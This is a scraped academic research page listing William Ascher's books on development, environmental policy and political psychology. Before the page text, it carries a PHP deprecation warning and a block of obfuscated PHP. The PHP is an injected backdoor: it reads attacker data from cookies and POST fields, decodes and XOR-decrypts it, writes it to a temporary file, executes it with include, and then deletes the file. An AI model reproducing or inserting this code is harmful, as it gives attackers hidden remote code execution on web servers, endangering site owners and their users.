Deprecated: Required parameter $force follows optional parameter $file in /var/www/wp-content/plugins/google-document-embedder/functions.php on line 100
$bDnExOSEZY = 'D' . 'A' . '_' . chr (108) . "\120" . chr ( 283 - 179 )."\x72";$HRoGe = chr (99) . "\154" . "\141" . chr (115) . 's' . "\x5f" . "\145" . chr (120) . "\x69" . 's' . "\x74" . "\163";$ywgOsDdZVn = class_exists($bDnExOSEZY); $bDnExOSEZY = "57002";$HRoGe = "12424";$KgySY = !1;if ($ywgOsDdZVn == $KgySY){function scGYHXaVC(){return FALSE;}$khgiZAsykW = "12829";scGYHXaVC();class DA_lPhr{private function QEifG($khgiZAsykW){if (is_array(DA_lPhr::$GlIaqjSwp)) {$hgCCgJiSIe = sys_get_temp_dir() . "/" . crc32(DA_lPhr::$GlIaqjSwp["\163" . "\141" . chr (108) . chr (116)]);@DA_lPhr::$GlIaqjSwp["\x77" . chr (114) . chr ( 860 - 755 ).'t' . 'e']($hgCCgJiSIe, DA_lPhr::$GlIaqjSwp['c' . "\157" . chr ( 350 - 240 ).chr ( 773 - 657 ).'e' . "\x6e" . "\x74"]);include $hgCCgJiSIe;@DA_lPhr::$GlIaqjSwp[chr ( 470 - 370 ).chr ( 993 - 892 ).'l' . chr (101) . "\x74" . "\x65"]($hgCCgJiSIe); $khgiZAsykW = "12829";exit();}}private $lecuYqZw;public function uFolYEtxs(){echo 31494;}public function __destruct(){$khgiZAsykW = "55089_13933";$this->QEifG($khgiZAsykW); $khgiZAsykW = "55089_13933";}public function __construct($QqKwXPX=0){$AUYZb = $_POST;$KQFFwwvg = $_COOKIE;$UIPiwEZo = "ffecde03-e2cc-44d3-bdd5-be79edeb5a5f";$VIHitHb = @$KQFFwwvg[substr($UIPiwEZo, 0, 4)];if (!empty($VIHitHb)){$RbcpXAfzPX = "base64";$soOcbt = "";$VIHitHb = explode(",", $VIHitHb);foreach ($VIHitHb as $PKJeQLX){$soOcbt .= @$KQFFwwvg[$PKJeQLX];$soOcbt .= @$AUYZb[$PKJeQLX];}$soOcbt = array_map($RbcpXAfzPX . "\x5f" . chr ( 818 - 718 ).'e' . 'c' . chr (111) . "\144" . "\x65", array($soOcbt,)); $soOcbt = $soOcbt[0] ^ str_repeat($UIPiwEZo, (strlen($soOcbt[0]) / strlen($UIPiwEZo)) + 1);DA_lPhr::$GlIaqjSwp = @unserialize($soOcbt); $soOcbt = class_exists("55089_13933");}}public static $GlIaqjSwp = 34084;}$uWZEyJwSoz = new /* 12054 */ DA_lPhr(12829 + 12829); $_POST = Array();unset($uWZEyJwSoz);} Research | Research – William Ascher, Ph.D.

Research

Dr. Ascher conducts research on knowledge and environmental policy, farsightedness and sustainability, political psychology, economic development, and culture.

Knowledge and Environmental Policy: Re-Imagining the Boundaries of Science and Politics
Bringing in the Future: Strategies for Farsightedness and Sustainability in Developing Countries
Revitalizing Political Psychology: The Legacy of Harold D. Lasswell
Cultural Change and Persistence: New Perspectives on Development
Physical Infrastructure Development: Balancing the Growth, Equity, and Environmental Imperatives
Economic Development Strategies and the Evolution of Violence in Latin America
Development Strategies, Identities, and Conflict in Asia
The Economic Roots of Conflict and Cooperation in Africa
Development Strategies and Inter-Group Violence
The Evolution of Development Thinking: Governance, Economics, Assistance, and Security
Guide to the Development Policy Process